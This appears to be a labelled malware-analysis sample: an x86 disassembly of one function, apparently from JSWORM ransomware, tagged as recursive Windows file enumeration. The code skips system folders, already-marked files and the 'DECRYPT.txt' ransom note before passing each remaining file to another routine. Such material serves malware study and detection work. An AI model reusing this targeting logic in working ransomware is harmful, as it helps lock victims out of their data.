Function at 0x403c10
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
mov eax, dword [0x458068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp + 8]
xor esi, esi
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
call fcn.00405315
lea eax, [ebp + 0x20]
mov dword [ebp - 0x6c], esi
push eax
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x68], esi
call fcn.00405315
sub esp, 0x18
mov dword [ebp - 0xc], esi
xor eax, eax
mov dword [ebp - 8], 7
mov ecx, esp
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x4c]
push eax
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], esi
call fcn.00405315
call fcn.004037bb
lea eax, [ebp - 0x7c]
push eax
lea edx, [ebp - 0x4c]
lea ecx, [ebp - 0x2e8]
call fcn.004058f8
add esp, 0x1c
lea ecx, [ebp - 0x1c]
push eax
call fcn.0040450f
lea ecx, [ebp - 0x2e8]
call fcn.004015e9
cmp dword [ebp - 8], 8
lea ecx, [ebp - 0x2d0]
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403f7a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push 0x4509b8
lea eax, [ebp - 0x2a4]
push eax
call edi
test eax, eax
je 0x403f5d
push 0x4509bc
lea eax, [ebp - 0x2a4]
push eax
call edi
test eax, eax
je 0x403f5d
push 0x4509c4
lea eax, [ebp - 0x2a4]
push eax
call edi
test eax, eax
je 0x403f5d
push str.windows
lea eax, [ebp - 0x2a4]
push eax
call edi
test eax, eax
je 0x403f5d
push str.recovery
lea eax, [ebp - 0x2a4]
push eax
call edi
test eax, eax
je 0x403f5d
push str.perflogs
lea eax, [ebp - 0x2a4]
push eax
call edi
test eax, eax
je 0x403f5d
push str.ntuser
lea eax, [ebp - 0x2a4]
push eax
call edi
test eax, eax
je 0x403f5d
test byte [ebp - 0x2d0], 4
jne 0x403f5d
test byte [ebp - 0x2d0], 0x10
lea eax, [ebp - 0x2a4]
lea ecx, [ebp - 0x2e8]
push eax
je 0x403e12
lea edx, [ebp - 0x4c]
call fcn.00405bb8
pop ecx
mov esi, eax
push 0x5c
mov ecx, esi
call fcn.00405f2d
push esi
lea ecx, [ebp - 0x64]
call fcn.004019d3
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040450f
lea ecx, [ebp - 0x64]
call fcn.004015e9
lea ecx, [ebp - 0x2e8]
call fcn.004015e9
sub esp, 0x18
lea eax, [ebp - 0x1c]
mov ecx, esp
xor esi, esi
push eax
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], esi
call fcn.00405315
call fcn.004037bb
mov ecx, esp
lea eax, [ebp - 0x7c]
push eax
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], esi
call fcn.00405315
sub esp, 0x18
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x14], esi
call fcn.00405315
call fcn.00403c10
add esp, 0x30
jmp 0x403f5d
call fcn.00401560
lea edx, [ebp - 0x2e8]
lea ecx, [ebp - 0x34]
call fcn.00406afc
lea ecx, [ebp - 0x2e8]
call fcn.004015e9
push ecx
push 0x2e
lea ecx, [ebp - 0x34]
call fcn.00404538
inc eax
push eax
push ecx
lea ecx, [ebp - 0x34]
call fcn.00404572
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00401560
lea edx, [ebp - 0x2e8]
lea ecx, [ebp - 0x64]
call fcn.00406afc
lea ecx, [ebp - 0x2e8]
call fcn.004015e9
push ecx
push 0x2d
lea ecx, [ebp - 0x64]
call fcn.00404538
inc eax
push eax
push ecx
lea ecx, [ebp - 0x64]
call fcn.00404572
lea eax, [ebp - 0x2a4]
push eax
lea edx, [ebp - 0x4c]
lea ecx, [ebp - 0x2e8]
call fcn.00405bb8
pop ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040450f
lea ecx, [ebp - 0x2e8]
call fcn.004015e9
mov edx, str.JSWORM
lea ecx, [ebp - 0x34]
call fcn.00405c0b
test al, al
je 0x403f4d
mov edx, 0x450a1c
lea ecx, [ebp - 0x34]
call fcn.00405c0b
test al, al
je 0x403f4d
mov edx, 0x450a20
lea ecx, [ebp - 0x34]
call fcn.00405c0b
test al, al
je 0x403f4d
mov edx, 0x450a24
lea ecx, [ebp - 0x34]
call fcn.00405c0b
test al, al
je 0x403f4d
mov edx, 0x450a28
lea ecx, [ebp - 0x34]
call fcn.00405c0b
test al, al
je 0x403f4d
mov edx, 0x450a2c
lea ecx, [ebp - 0x34]
call fcn.00405c0b
test al, al
je 0x403f4d
mov edx, 0x450a30
lea ecx, [ebp - 0x34]
call fcn.00405c0b
test al, al
je 0x403f4d
mov edx, str.DECRYPT.txt
lea ecx, [ebp - 0x64]
call fcn.00405c0b
test al, al
je 0x403f4d
cmp dword [ebp - 8], 8
lea ecx, [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x1c]
call fcn.00403628
lea ecx, [ebp - 0x64]
call fcn.00401665
lea ecx, [ebp - 0x34]
call fcn.00401665
lea eax, [ebp - 0x2d0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x403cc8
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x1c]
call fcn.004015e9
lea ecx, [ebp - 0x7c]
call fcn.004015e9
lea ecx, [ebp - 0x4c]
call fcn.004015e9
lea ecx, [ebp + 8]
call fcn.004015e9
lea ecx, [ebp + 0x20]
call fcn.004015e9
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b584
leave
ret